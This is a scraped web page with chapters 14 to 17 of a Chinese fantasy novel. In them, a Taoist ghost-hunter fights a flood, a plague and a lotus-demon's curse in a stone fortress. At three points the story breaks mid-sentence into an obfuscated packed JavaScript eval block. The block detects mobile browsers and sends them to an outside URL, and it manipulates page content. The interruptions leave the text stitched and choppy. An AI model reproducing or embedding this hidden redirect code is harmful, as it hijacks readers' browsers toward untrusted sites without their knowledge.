“话虽如此,”苍名目光坚定地说,“宁愿世上没有鬼,不怕道士剑蒙尘!” 无律响亮地切了一声:“到时候你沿街乞讨,我会给你施舍饭菜的。” “滚滚滚。”苍名头疼地说,“有没有哪种骷髅,会寄生在瓜果蔬菜里?瓜果蔬菜里的骷髅,该不会也是天心沭的骷髅阵……里的一种?” “谁知道。”无律甩过来一本破破烂烂的册子,“这是我从小鬼手里换来的江湖宝典,你自己查吧。” 苍名用两个指尖拈起那本满是灰尘的书,嫌弃地说:“这什么啊,还是手抄本?” 封皮上赫然三个言简意赅的大字:百强谱。 苍名随手翻开一页,读道: 未央冠,虽非妖非魔,却属极邪之物,由不知名人士通过不知名方法炼造。将未央冠戴在活人头上,则其吸食人之智力经验,实际如同化炼法宝。待此器炼成,将之佩戴在死人的头上,则死人可代替活人行事。 苍名毫无准备地看见未央冠的注解,心脏顿时开始突突乱跳,急忙伸手摁住。 传闻中的未央冠精巧绝伦,仙气飘飘,江湖上只闻其名,不见其影。被未央冠加冕者,位同九天玄女,其力无穷,天下称臣。但苍名从没亲手把它拿在眼前研究过,也不知道它的威力究竟如何。如果这本癫书里写的能有三分是真,则未央冠几乎等同于毒辣邪妖,窃取百姓之经验智慧,而又反过来取代百姓之民力。到时,劳苦大众怕是连冬瓜也买不起了。 相比之下,她这个毁天灭地丧门星算什么大事。 苍名掏出账本,在“绣花鞋”“千年浮尸”“天心沭金珠骷髅”“瓜果蔬菜骷髅”下面添了一笔:未央冠。 头疼地看了一会儿名单,苍名放下账本,又拿起破烂本子随手翻了一页。上面写道: 抓鬼舞将军,又称绝世丧门星,以一己之力搅黄四大流派,促使修仙界彻底洗牌。曾在民间跳大神、从事出马仙,以掩人耳目,暗中策划统治天下的阴谋。相传舞将军的坐骑为赤色螃蟹,能上山下海,有一百零九弟兄,个个都是盗墓圣手。 苍名骂骂咧咧地把书摔到一边,提笔在账本上笔走龙蛇,狂草飞驰:寻百强谱作者。 把百强谱从头翻到尾,也没见到绣花鞋或骷髅阵的蛛丝马迹,就连一方妖王、绝世才女天心沭都没有上榜。倒是有一页记载了中野飞鸥,通篇只有两个字:甚强。 无律的冬瓜骷髅馅饺子出锅时,希声手握唢呐,疲惫地回到息园三坊的大堂。 苍名向她招手道:“开饭开饭,今天是立冬,无律他们包了冬瓜馅饺子。呃,虽然馅里出了汤,还是可以吃的。” 无律说:“不重要,希声又没有味觉。” 希声捧起饭碗,一脸味同嚼蜡的表情:“最近怎么搞的,每天都是丧事,雇我的人家没有一户是办喜酒的。” 苍名同情地说:“想必你领略了多种不同的嚎丧方式 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一道白色烟墙围住客栈,呲呲作响,如同篝火上升起的云雾,霎时间烤干了客栈周围的水。 圈里勉强维持着干燥,圈外的洪水却越来越湍急。大浪猛攻白烟,几乎要冲破结界。 无律用拐棍带起一阵劲风,将波浪逼向远处,大声问:“哪里搞来的烟?” 苍名抹了一把头顶的汗,说:“从别人的火堆上借来的!”此时此刻,一定有许多人家灶上莫名其妙地熄了火,并非长久之计。 寻烟和觅霞正急得团团转:“苍姑娘,不能再多变一点吗?” 苍名为难地说:“不行啊,不能凭空变出东西的,哪怕一个馒头都不行。” 希声负手看着门外,沉声说:“天地万物相生相克,受制于造化大限。若有一天出了个能凭空变出东西的大英雄,那么就会出一个能杀死他的大恶人。否则世道岂不大乱。” 苍名说:“没错,没错,就是这样。” 无律崩溃地说:“别聊了,我的客栈,我的客栈要被泡了……” 希声从袖子里掏出一沓黄纸,扬手一洒:“水定!” 纸钱纷纷扬扬地飘落下来。 希声一惊:“哟,不好意思,这是今天哭丧时没用完的。” 说着,她袖起手互相掏了掏,重新掏出一把符纸:“水定!” 符纸离手,嗖嗖飞向八个方位,绕客栈牢牢把守,与烟墙交相辉映。 “谢谢你们。”无律感动得快要哭出来了。 希声说:“符纸和结界抵挡不了多久的。我们并非掌管天下之水的神仙,也不是擅长引水做法阵的教派。” 苍名抬手一指屋顶:“你们上去避一避,我去救人。” 14. 风雨十七烟 洪水自西方奔涌而至,来势汹汹,淹没千家万户的房顶,城中一片鬼哭狼嚎。 水上漂着不少门板,大人孩子坐在上面,抱着房屋的柱子不撒手。也有人把孩子和鸡鸭鹅狗放进木桶木盆里,用绳子拴成一溜。 苍名指着息园三坊的方向大声喊道:“放掉一切财物,带上家人去客栈!那里有结界!” 四下里哭声此起彼伏:“不行啊,我全部家当都在这儿了,我走了就什么都没了……” 还有个大叔骑在牛上大叫:“老牛老牛,你可别走,来年春耕……” 话音未落,水位没过了老牛的眼睛,牛蹄一松,连人带牛漂远了。 此时,那个白天干架的妇人驾驶着一片棺材盖,劈波斩浪而来。 又有几位曾经满城驱邪的小道士,抱着一段被水冲倒的树干。 苍名顿时如见救星,飞身上树,对他们喊道:“劳驾几位能人,帮忙组织大家去息园三坊客栈,我继续往西边去查看情况。” 那妇人面色苍白,一声爆吼:“不行!我……我要去……我女儿她……” 几个小道士则抽泣着说:“完了完了,快发信号,快让师父师兄师叔师姑……” 苍名唉了一声,薅下一把树叶,向四面八方横扫掷出。 树叶变成的黄符落在水中众生的身上,化为一股大力,推着他们往客栈方向漂去。 那些人边漂边发出更加惨烈的哭声,仿佛扔下祖辈积攒的财产还不如被水淹死。 那个妇人自顾自去找女儿,苍名高声说:“我去找,这位大嫂你先去客栈!” 妇人恨恨地说:“你管我!你是哪根葱?” 苍名张口结舌:“我,我是个抓鬼的……” 远远望去,城中地势最低洼处漩涡飞转,将活人和牲畜卷入其中,一口吞没,仿佛地府在人间开了一扇门。 息园三坊的结界里挤满了慌张的人。寻烟和觅霞把源源不断的新来者安排到大堂的某个角落:“大娘,您往台阶上站站,小伙子你侧个身……好了,大哥您站在这个空里……” 苍名筋疲力尽地回到客栈门前时,发现无律和希声脚踩着几块砖,竟然还在费力地往房顶上爬。 苍名飞上屋顶,一手一个把他俩拉了上去。希声一上去就躺倒在房梁上,同时还不忘默念法诀。 无律呼哧带喘地说:“看什么看,我们又不是武仙。” 苍名纳闷地说:“那你还非要上来。” 无律拄拐站起身,直立于屋脊之上,振臂高呼:“今日大家相依为命都是天意,以后各位来小店打尖可以获赠一壶好酒,请大家广而告之!” 无人理会。 苍名和希声一起维持着结界,突然觉得不对:“城里的人都在这里吗?” 那几个号称全城巡回驱鬼的小道士吐着嘴里的污水,说:“怎么可能,那些得痨病的跑不出来啦。” “痨病?”苍名一愣,“城里什么时候有痨病了?” “这位道友,你不知道吗?”那个大师兄模样的小道士摇头咂嘴地说,“这个立冬日真是怪极了,先是菜里藏冤魂,又是一个下午之间病倒了老些人,天黑又发洪水……” 又有人叫起来:“菜!城里的菜都是从西边运来的,菜里有毒!有……瘟疫之毒!” 无律大叫一声,一连声叫着寻烟:“快往客栈里泼石灰水!希姑娘今天下午去的那家怕不是瘟疫瘟死的!” 希声:“恩。” “大灾之后必有大疫,洪水退去,脏物淤积,尸体腐烂,才有瘟疫。”苍名背着手俯视一片激流,疑虑重重,“为什么今日是先有瘟疫,再有洪水?” 希声豁然睁开眼睛,仰卧凝视夜空,幽幽地说:“有鬼。” “不错,这里面有鬼,就是不知和你那珠冠有没有关系。”无律对苍名说,“你去吧,我和希声在这里护阵。” 苍名想起那晚绣花鞋不光挑明珠冠再现,还大唱有的没的,不禁苦笑道:“多半是有关系吧。” 无需多言,苍名抽出冰刃宝剑,御剑飞行,逆流而上,向西追溯洪水来处。 出城以后,又飞出二三十里,水流不见泛滥之势,反而逐渐缩窄成一条平平无奇的河。 苍名捡了张树叶,变出晴雨符,对着西边高高举起:“观天。” 月光之下,黄符碎成一把干枯粉末,西边不止是不下雨,还有点要干旱的意思。 一筹莫展之际,突然远远传来一声呼喝:“鬼克星!” 苍名条件反射地抬头答应:“抓小鬼五十文,大鬼一百——” 一团红色像炮弹一样发射过来,定睛一看,魏羌站在眼前,后衣领中插着痒痒挠,风尘仆仆满脸风霜。 苍名一把抓住他:“你这孩子来得正好!逢焉城发了大水,又闹瘟疫……” 魏羌拔出痒痒挠,虚空劈斩,愤愤不平地说:“不错,我看到了道士发出的烟火信号,想来是附近有人求救。” 苍名说:“西边没有大雨决堤,这场洪水却从西而来,越流越宽,肯定是被施了邪术妖道。” 魏羌沉着脸说:“果然又是西边。鬼克星你有所不知,西边有个大名鼎鼎的老鬼,平时隐居在荒村中,我上次去采药差点着了他的道,幸好被天心沭救下。” 苍名奇道:“什么样的老鬼?为什么来惹你这道士?” 魏羌面色铁青道:“那老鬼想要把我绑去……绑去……这个,那个……” 他那个了半天也没那个出来,说:“算了,你不用等我了,我不会说了……” 苍名赞同地说:“我不等你了,我要去沿着河去西边看看。魏兄弟,如果不太麻烦的话,能不能有劳你去城里给病人配草药?” 魏羌大义凛然地点头说:“正有此意。我派向来悬壶济世,治病救人,以此为道。鬼克星,你往西去多加小心,那个村子叫……十七烟。” 苍名踏入村庄十七烟时,只觉得浑身打摆子,立刻理解了魏羌提及这个村名时那抑制不住的面部抽搐。 此时已经天光大亮,十七烟上空却仿佛被一只湖绿色玻璃罩扣住,空中弥漫着混浊的青烟,似雨似雾。 全村鸦雀无声,不见人影,难以想象魏羌跑到这种寸草不生的地方采草药。 一地石头房子耸立,最中心一座石堡拔地而起,苍名自言自语道,这老鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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未辞轻轻一笑,随手打个响指,一个锦囊出现在半空中。他说:“我带来的,换上吧。” 苍名倒吸一口冷气,低头看向自己身上的蓝袍,一道一道泥印水渍,惨不忍睹。 虽然略施小计就能整理一新,但苍名还是觉得非常丢脸。 她拎起锦囊嗖一声瞬移进房间,关上房门:“好的,谢谢!” 锦囊里是一套轻纱罗裙,穿在苍名身上正正好好,分毫不差。宽大水袖上下翩飞,纱带总是高高飘扬在身后,好像被风托住一样。 苍名看着蒙尘的镜子,浅碧蓝色长裙如同海上波浪,赤橙色的袖口和飘带则恰似晚霞。她心中一阵战栗。 可没听说过未辞有女装的嗜好。这套年轻女子的装扮该不会属于……他的妻室? 苍名开门走出来时,未辞的眼睛亮了。他定定地看了一会儿,才发现她脸上有一种淡淡的死感。 未辞小心翼翼地问:“你不喜欢这套衣服?” 苍名说:“这衣服,应该不是古董店里的商品吧。” 未辞犹豫了一下,说:“不是商品。是属于……一个重要的人的。” 苍名一个响指收起换下的衣服,简洁地说:“走吧,去找那个老鬼。如果洪水瘟疫真是他所为,那就掐断他的邪术。” 未辞还观察着她的脸色:“这衣服……难道是太勒了?” “胡说!” 15. 莲生万物枯 苍名打头,未辞走在她身后半步的位置,两人悄无声息地踏进石堡。 石堡内阴冷潮湿,一层一层如同暗牢,楼梯相互勾连而蜿蜒分叉,两人绕来绕去,忽上忽下,始终不见人影。 苍名已经走得晕头转向,忍不住说:“这真是那老鬼的住所吗?怎么布置成这样?” 未辞带着她稳稳当当地拐进一处暗道,对老鬼嗤之以鼻:“这里从前就是这些机关,没看出一点改进。” 苍名称赞道:“贤弟好记性,来过一次就记得一清二楚。” 未辞看了她一眼,低头没有吭声。隔了一会儿,他说:“将军,我们走的这条线,已经把楼里每个房间暗室都穿起来了。” “恩。”苍名点点头,看着周围的青苔石壁,“这是最后一间?那么,或许老鬼不在楼里,而在……” “地下。”未辞的声音与苍名重合响起。 未辞说:“将军真是料事如神,这楼里还有一处地下宫殿。” “走吧,你带路。”苍名跟在他身后走下石阶,最后看了一眼这间暗室。狭小的窗口透出十七烟的青绿云雾,石盆中漂着一片浮萍般的圆叶。 两人回到石堡的第一层,原本打开的厚重石门已经关闭了。苍名与未辞无声地对视一眼,点了点头。 未辞随意地扬手一挥,一道银光击中南面石壁。噼啪一声,壁上裂了一道石缝,石缝越来越宽,露出盘旋向下的通道。 苍名吃惊地问:“你知道入口的密令?” 未辞随和地说:“哦,靠蛮力罢了。” 苍名拔出冰刃长剑,两人并肩走下石阶,留意着四面八方的动静。 隧道越来越宽,转了几转,头顶入口处的光线逐渐消失不见,只有地上的鬼火莹莹闪动。 忽然听见身后有极其细微而不易察觉的风声袭来,苍名想都不想就飞转长剑,向后刺去,回身架剑,手引剑诀,一气呵成。 未辞低声说:“拦路的来了。” 苍名分明觉得刚才刺中了一层薄薄的东西,却不见人影,正疑惑时,忽然察觉脑后似乎有张巨网甩来,急忙向前跳去,长剑反手一劈。 转身一看,竟然是一片几人高的花瓣,颜色粉白粉白乃至微微发亮,像风扶弱柳般折来弯去,大肆卖弄柔媚缱绻之状。 “靠!”苍名被它那副没骨头的样子雷到头皮发麻,挥剑拦腰斩去。花瓣像被风吹动的帘子一样飘了起来,轻轻避开剑刃,还更起劲地摆动起来。 “未辞?”苍名发现身边的人不见了,不禁一惊。 不知何时,前后左右站满了巨大的花瓣,一齐缓缓包围上来。 苍名一招掀身探海,长剑随之轮圆一周,点地后剑花飞动,一瞬间刺过八个方位。 一番起落舞动,只在一息之间。 层层花瓣像受到惊吓一样蜷曲着退后,总算没有把她包成卷心菜。 苍名只来得及再喊了一声未辞,那些花瓣就再度合拢上来。苍名一个没留意,被裹在花瓣中间。浓郁到让人窒息的莲花香味,像迷魂香一样散发出来。 “退开!”苍名一怒之下,一声清喝,“穿林打叶!” 衣袂飘飘,纱带游龙。一套剑法似舞似风,精妙无双,刚中有柔,柔中带刚,出势脆而强硬,延展韧而绵长。 剑尖点过之处,恰好连成一幅六角雪花形图腾。雪花一经画成,熠熠生辉,如同暗室中乍现日月,满室银光点点。 一片片硕大的花瓣疾速退去但为时已晚,很快干枯委顿,骤然炸开,叮叮铃铃碎成一地粉末。 “未辞!”苍名挥动衣袖,赶走花瓣留下的尘埃,只见未辞靠着石壁席地而坐,一双眼睛晶晶亮地看着她。 苍名三步并做两步扑到他跟前,俯身拉着他的手臂问:“你怎么了?受伤了吗?” 未辞看着眼前一张焦急的俏脸,慢悠悠地说:“我——” 苍名把他架起来,上上下下地检查着:“你怎样了?你没来帮我打那花瓣,可吓死我了,我以为你一定受了重伤……” 未辞看起来精神抖擞,神清气爽,面庞放光,哪哪都好得很。他抹了一把脸,再抬头时一脸凄楚地望着苍名:“我刚才害怕极了。” “……” 苍名转念一想,人非神圣,固有一怕,也许他就怕这种没骨头的东西,于是拍拍他的肩膀安慰道:“好了,没事了,你现在有没有感觉好点?要不要吃东西?喝水?” “我没事了,我就知道你会救我的,”未辞垂下眼眸,似乎在掩饰着得意的目光,“道士姐姐。” 有一瞬间,苍名好像看见他的目光兴奋到闪闪发光:“你……你眼睛怎么像狐狸似的?” “没什么,我吓的。”未辞若无其事地说,“走吧,道士姐姐。” “可能是我看错了。”苍名紧紧拉着他的袖子,向隧道深处走去,“走吧,这回小心。” 又走出一二百步,前方隧道豁然见亮,似乎地上有红烛燃烧发光。 苍名转头确认未辞还在身边,只见他微微一笑。两人默契地加快脚步,奔向前方。 隧道两边的墙角下,每隔三尺就有一双脚从石壁中伸出来。每双脚都分明属于男子,却穿着鲜红鞋面、黑色鞋底的绣花鞋。 两排绣花鞋发出鬼魅的红光,如同两排夹道红烛,笔直向前延伸而去。 苍名只觉得后背寒毛都唰地立起来了。她向未辞靠拢了一步,压制住浑身打颤的冲动,低声说:“这些人……躺在石壁后面?” 未辞沉声说:“不错,而且是……死人。” 苍名深呼一口气,勉为其难地开始拿腿,率领未辞继续向前,经过一双又一双的绣花鞋。 “你说这老鬼……和天心沭有关系吗?”苍名盯着两旁的绣花鞋,眉头紧锁。 “不知道。”未辞轻轻摇头,“几年前我来这里时,还没有这些格调低下、缺乏设计感的东西。” “……” 又走出一百五十步,苍名侧头细听:“有哭声。” “不错,有哭声。”未辞赞同道,“在前面。” 苍名纵身跃向前方,衣裙飘摇,只留下一句:“当心有诈。” 未辞紧紧跟上,两人急纵飞奔,拐过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172729|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一道大弯,猛然刹住脚步。 眼前赫然一堵寒玉石墙,墙面上悬挂着六具干瘪的男尸,每具尸体被弯成奇异的弧度,首足相接,拼成一朵莲花的形状。 每双脚上依然是红到放光的绣花鞋,仿佛吸饱了人身的精气,邪魅四溢。 “诅咒之术!”苍名气得浑身发冷,从牙缝里挤出一句。 “逢焉城的天灾人祸,就是出于此了。”未辞冷漠的声音在她头顶上方响起。他站在苍名身后,苍名发现他的身体如此温暖,隐隐散出的热气扑到她身上,让她发冷的身躯稍微找回来一点温度。 苍名向前踏上几步,一挥衣袖,几具尸体从墙上脱落下来,静悄悄地飘落到地上。 她缓缓提起长剑,猛然向上空抛去。当的一声,宝剑没入穹顶,两侧的石壁剧烈地颤动起来。 苍名手掐法诀,咬紧牙关,低头默念咒文,两侧石壁分崩离析,哗哗坍塌下来。 穹顶坍塌的一瞬间,宝剑随之坠落,苍名拔地而起,纵身空翻,一把接住剑柄:“破阵!” 最后的寒玉石墙,在一声巨响中灰飞烟灭。 诅咒已破,地下宫殿的穹顶也被掀开,和第一层通为一体。满地都是平躺的男尸,压在他们身上的石壁已经卸去,只有一双双绣花鞋还在闪烁。 “当心!”银光一晃,未辞闪到苍名身前。 无数具僵尸突然鲤鱼打挺,齐刷刷站了起来,齐刷刷地跳向苍名。 苍名仗剑反击,未辞已经召出一页页银白飞鸥。两人珠联璧合,一攻一守,互相转化,大开大阖之间已经放倒了一圈僵尸。 “不打了。”苍名念及僵尸都是无辜之人遭受无妄之灾,不想对它们动武。 “好。”未辞干脆利落地收了手。 趁此间隙,苍名又去衣服里掏树叶,忽然想起换过袍子,一掏掏了个空。 未辞从旁递来一沓符纸,苍名受宠若惊地接了过来:“想不到你这妖……还带着驱妖的符呢。” “留神!”未辞一掌劈开几具贴上来的僵尸。 苍名扬手抛出满天黄符,灵光一闪,法诀已出,符纸上析出淡墨笔画,由浅入深,咒文显现。 黄符在空中漂浮片刻,如箭离弦,向四面八方飞去,贴在一个个僵尸的脸上。 黄符遇尸,锋芒大亮,灿若星辰。一时间石堡内浮光跃金,华彩流动。 僵尸呆呆地挺立片刻,咚咚咚地倒了下去。每张脸都是年轻秀气的少年面容,却睚眦欲裂、鼻斜口歪,配上青黑色的腐烂皮肤,怕是阎王看了都不敢收留。 苍名已经开始执剑而舞,为他们做法超度。未辞静静地看着她飘转骏逸的身影,直至每张黄符燃烧成灰,苍名不息的旋转终于缓慢停止。 “横死之人,魂飞魄散,消失于三界。”苍名静静地说,“超度只是让肉身安息,不再作祟。” 未辞一挥手,坍塌的石头碎成尘土,轻轻盖在一地尸体上。连绵坟堆,竟如同青山。 “在那里!”苍名惊叫一声,跑了过去。 寒玉石墙的残垣断壁之后,传来惨淡的哭声。 16. 问道何须道 寒玉石墙的另一面,一个十三四岁的男孩蜷缩在墙根下,衣服脏得像一团破布。 苍名高抬腿轻点地,蹑手蹑脚地走到他面前,确信不是陷阱,才蹲下来问道:“小兄弟,你是被抓进来的?” 未辞站在他面前,冰冷地俯视着地上一团瑟瑟发抖、嘶哑抽泣的破布。 小男孩双手抱头,眼皮紧闭。苍名想到这孩子差点被做成夹道红烛中的一支,不禁万分同情地说:“你放心,有我们在就没事了,我是个驱鬼道士,这位哥哥是……是个力气很大的好人……” 小男孩艰难地抬起头,肮脏面孔上,双眼涣散无神。苍名赶紧半托半抱地扶着他坐起来,把耳朵凑了过去,听到他喃喃地说:“莲……” 未辞俯身伸出一只手,把男孩抱了起来:“这位姐姐抱不动你,只好由哥哥我代劳了。” 男孩一靠进未辞怀里,立刻剧烈地抽动挣扎,干枯分叉的嗓音如同警报拉响,石堡中回荡着野兽般的嘶吼。 未辞另一只手轻飘飘地一挥,封住了他的穴道:“吵死了,先让他睡吧。” 苍名怔怔地仰头望着错综复杂的石梯,重复着男孩的话:“莲……” “走吧,将军。”未辞的眉毛危险地压迫下来。 “不好!”苍名突然原地蹦上二层的石阶,向最后一间暗室跑去。 “将军!”未辞一惊,单手抱着小男孩纵身飞跃,紧随苍名之后。 苍名刚踏上第二层,就差点被一张粉白色大网卷入,急忙一剑平扫四周。 原本空空荡荡的石堡里,无声无息地游荡着一片片巨大的花瓣,如同徘徊不去的幽灵护卫。 “当心!”苍名一剑一掌上下翩飞,急舞布阵。 刚画出六角雪花的半边,就被一片飘飘然的花瓣搂住,急忙一脚踹出去:“滚啊!” 未辞冷冷地皱起眉头,一只拳头猛地握紧。 叮叮铃铃,叮叮铃铃。如同空朦烟雨声,花瓣碎了一地。 终于,苍名冲向了最后一间暗室。 狭小的窗口透出十七烟的青绿云雾,石盆中漂着一片浮萍般的圆叶。 圆叶上抽枝吐芽,亭亭地长出一支硕大的粉白色莲花。每片花瓣刚一张开,就嘻嘻一笑,飘然落地,一片接一片排着队向外滑行,让苍名想起小孩子们吹出的肥皂泡。 一片片几人高的花瓣铺天盖地袭来,如同一重一重的帘幕。苍名挥剑将最后一层花瓣拨开时,一座煞白的雪雕赫然出现。 高大鬼魅,眉目凌厉,竟是消失已久的天心沭。 “站住!”尚且来不及吃惊,苍名已经一剑刺去,想都没想就脱口而出,“未央冠到底去哪了!” 白影一闪,雪雕已经轻松地落在她身后。苍名一招既出,变式即到,长剑早已反手刺向身后。 几乎在同一瞬间,未辞一个手刀劈到。雪雕被前后夹击,尖叫一声扑倒在地,勉强躲过两招,下一秒钟,长剑叮地一声将她钉在地上。 苍名冷笑一声:“我就料到你会使出贴地泥鳅这一招。” 顿了顿,她义正言辞地喝道:“因为这一招是我常用的!” 那座雪雕俯卧在地,慢慢扬起模糊的脸,五官已经被人磨平,面目全非。 苍名吃了一惊,厉声喝到:“你到底是不是天心沭?” 哗啦一声,雪雕四分五裂,碎成一地白雪,很快消融不见。寂静石堡中,只有宝剑孑然而立,钉入石砖,隐没三分。 未辞在她身后说:“将军,该走了。”他的声音带着若有若无的警告意味。 苍名颓废地转过身,说:“是个空壳。老鬼到底是谁?” 未辞说:“那老鬼自称为莲,爱做些低劣勾当,会唱几句摄魂取魄的打油诗。虽然被叫做老鬼,但其实是妖。” 苍名点点头,突然想起未辞也是妖,于是说:“妖跟人一样,也分善恶高下。” 未辞微微一笑:“也许。不过,妖的确不算什么好东西。” 苍名辩解道:“这就不对了,你就是好东……好动活泼又坦荡果敢的好妖。” 未辞愉快地说:“恩,不过我不坦荡。” “好,你不坦。”苍名无心多聊,从地里拔出长剑,渐渐拧起眉毛,“我总觉得,我们这一趟未免太顺了,不光长驱直入,还随手破了诅咒。” 未辞说:“将军武艺高强。” 苍名继续说:“老鬼没找到,却找到天心沭的假壳……难道诅咒是天心沭设的,十七烟已经被她夺舍?” 未辞一手抱着小男孩,不必要地往上抛了抛,加重语气说:“将军,回去吧。你有没有想过,这些人或许醉翁之意不在酒。” 苍名顿了一会儿,不紧不慢地说:“你是说,一切只是为了把我引来。” “不错。”未辞紧紧盯着她的脸,郑重地说,“将军,你归隐民间多年,或许是有人想引诱你露面。” “然后顺着我摸到未央冠?”苍名哑然失笑,摇头说,“那可要让他们失望了。未央冠被争来争去,却从没出现过。” 未辞却说:“如果不止呢?将军,收手吧。” “先把这孩子带回息园三坊吧,我怕他撑不住了。”苍名扬起一张黄符,沉沉地说,“归去!” 周围的一切都旋转起来。在呼啸的风声里,未辞的声音几乎低不可闻:“将军,能不能告诉我,你为什么要探寻宇宙终极奥义?” 苍名又被这句话肉麻得一哆嗦,但还是回答道:“昔有武神,旷世之尊,抬手灭邪灵,垂眸悯世人。这是师祖讲过的护世神,相传他成神后踏破邪域,从此成为众神之神,大道之道。” 未辞说:“你仍然想要证道成神?” 苍名回答:“我嘛,总要找点营生。要不然活着干什么呢?” 未辞说:“如果我说……我希望你放弃打打杀杀的生活呢?你的血海深仇,我会替你报。” 苍名笑了笑,没有说话。突然,她的笑容慢慢收敛起来:“什么血海深仇?我好像……没对你说过我从前的事。莫非你知道些什么?” 未辞含糊地说:“哦,我是想,民间传闻里说你纵横江湖,嫉恶如仇,有着不共戴天之敌。你自己也曾说要复仇雪恨,为了这个而想要成神,也是人之常情。” 苍名立刻比他还含糊:“哦,我都忘了你听过我的传闻。传闻么,老是把我说得凄惨无比,狼狈不堪,不可信的。” 未辞说:“将军,你去救人,去抓抓小鬼,都是可以的。至于拯救天下、修炼成神,我劝将军慎重。天心沭近几年才崭露头角,却扯出十年前的未央冠,身份实在可疑。背后阴谋,不容小觑。” “冥界第一妖王,难得一次说了这么多话。”苍名露出标志性的温和笑容,“我知道你是怕我被打死,放心吧,我没那么不抗揍的。寻找珠冠,飞升成神,这两件事是我的心愿,从未改变。” 未辞欲言又止。风波初定,息园三坊的大门出现在前方。 洪水已经退了,逢焉城一地狼籍。苍名提着裙子,准备踏着一片看起来稍浅一点的淤泥走向客栈。 未辞随手把小男孩抛给前来迎接的无律,捉住了 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未辞在旁边幽幽地说:“不好看么?” 无律又切了一声:“我倒忘了,当年忘仙派弟子每逢出场,华服如云,迎风舞剑,衣袂飘举,演出装束从不重样呢。” 苍名怒道:“什么演出,我们哪一次不是去干正事?” 无律快人快语地说:“你还挺维护他们嘛……” 希声带着出神的表情沿楼梯悄然而下,冷不丁问道:“苍名,你怎么回来了?” 无律也突然醒悟:“你怎么回来了?我们以为你去探个路,就会给我们发信号了。” 苍名说:“是诅咒,已经破了。”接着简明扼要地讲了此行的始末。 希声注意地听完,沉吟道:“也许是天心沭干的,也可能是老鬼莲。老鬼也许和天心沭一伙,也可能不是。” 无律鄙夷地说:“你说得真对。” 希声呵呵一笑:“依你高见?” 无律一拍桌子:“说不定老鬼是天心沭她爹!” “城里如何了?”苍名看向窗外,街上纸钱纷飞,不见行人,只听见隐约哭声。 “洪水是退了,瘟疫可没那么容易。”无律阴沉地说。 “病来如山倒,那肯定不容易喽。”一道清透昂扬的少年嗓音接口答道。 魏羌大踏步走进客栈,一手抓着痒痒挠,一手拎着一提溜乌漆麻黑的烂泥,苍名看了半天,才发现那烂泥是一个装草药的箩筐。 觅霞从后厨端来几杯茶,魏羌拿起一杯猛灌几口,又差点喷出来:“什么茶味道这么怪?” 无律一挥拐棍说:“将就喝吧,城里现在什么都没有,我用仅剩的干海带泡了点茶。” 魏羌一脸凄楚地看着茶杯,这时苍名问道:“魏兄弟,这两日可有瘟死的人?” 魏羌这才看见苍名,不禁奇道:“鬼克星,你这么快就回来了?城里当然死人了,还死牛马羊狗呢,个个满身烂疮,好在我老参派的草药能救回来几条命。” 苍名说:“我们进了十七烟,可惜没捉到那老鬼。那里有不少……死去的少年。” 魏羌动了动嘴唇,刚要开口,一声凄厉的吼声响彻客栈。 未辞皱着眉说:“这么吵,我就先回去了。” 在出门之前,他深深地看了一眼苍名:“将军,你的证道执念……请三思。” 苍名看着他的背影,竟一时间答不上话。 17. 雪落江山前 被捡来的小男孩没命地冲下楼梯,向外逃去,嘶哑吼声令人心惊胆战。 无律一伸拐杖将其拦住,男孩滚倒在地,抱头哭叫起来。 “对不住,我没拦下来。”寻烟跟在后面,满脸笑容地摊手说,“小客官,您还是回房休息吧……” 众人七手八脚地把他抬起来,苍名还在徒劳地对男孩说:“这里都是好人……好人……” 在她身后,在一片哭喊声中,魏羌说:“这孩子是从十七烟来的?那我……知道怎么回事了。” 希声出手就是一张符,正中男孩的脑门。男孩软绵绵地瘫倒下来,嘴唇紧锁,只有一双眼睛惊恐地转来转去。 “对不住,客官您稍坐片刻。”寻烟把他扶到雅座太师椅上。 “你说吧。”希声拍了拍手,淡漠地对魏羌说。 魏羌看了一眼小男孩,迟疑地说:“我,我真讲啦。” “咦,这还有假。”无律催促道,“魏兄弟,你快讲呀。” 魏羌又踌躇了一会儿,突然问:“音律仙,有酒吗?” 寻烟去后厨打了一碗酒,咧嘴笑着递给魏羌。魏羌接过来吨吨灌下去,猛地重重放下碗:“老鬼莲差点非礼我!” 石破天惊,众人脚下齐齐打了个趔趄。哗啦一声,那只酒碗大碎八块。 魏羌正襟危坐,双拳紧握放于膝上,白皙脸颊迅速涨到比衣服还红。 苍名循循善诱地安慰道:“不要局促,说出来吧,说出来就好了。” 魏羌干咳一声,说:“惭愧,我一个习武道士,却差点被一只妖鬼……那老货神出鬼没,游山玩水,平生最大乐事就是活捉清秀男子,带回十七烟中猥亵……” “然后先奸后杀,扔进地下宫殿?”苍名打了个寒战,“墙上还挂着六具尸身,排成莲花形诅咒之阵。” “诅咒之阵?”魏羌摇头道,“这我没见到,上次我进十七烟采药,被老货偷袭催眠,幸而被过路的天心沭救下。” “可是,这次我们没见到老鬼,却见到许多绣花鞋,和天心沭的小像。”苍名沉吟道,“她如果和这老货是一伙,又怎么会救你?” “那雪雕本来就喜怒无常啊。”无律理所当然地说,“也说不定她和老不死的闹掰了,一怒之下救了魏兄弟,又去石堡里设了诅咒……” 苍名揉着太阳穴,头疼地喃喃自语:“这岂不是有一万种可能……” 在那把太师椅上,男孩像一团被人间遗忘的破烂。 希声伸手揭去他额头上的符咒,他仍然一动不动,仿佛已经枯朽。他的脸上浮现出无声无形的绝望和死寂。 苍名低声说:“把他带回房间吧。觅霞,如果可以的话,麻烦你来关照他……” 息园三坊的豁口饭碗,逐渐都变成了碎片。 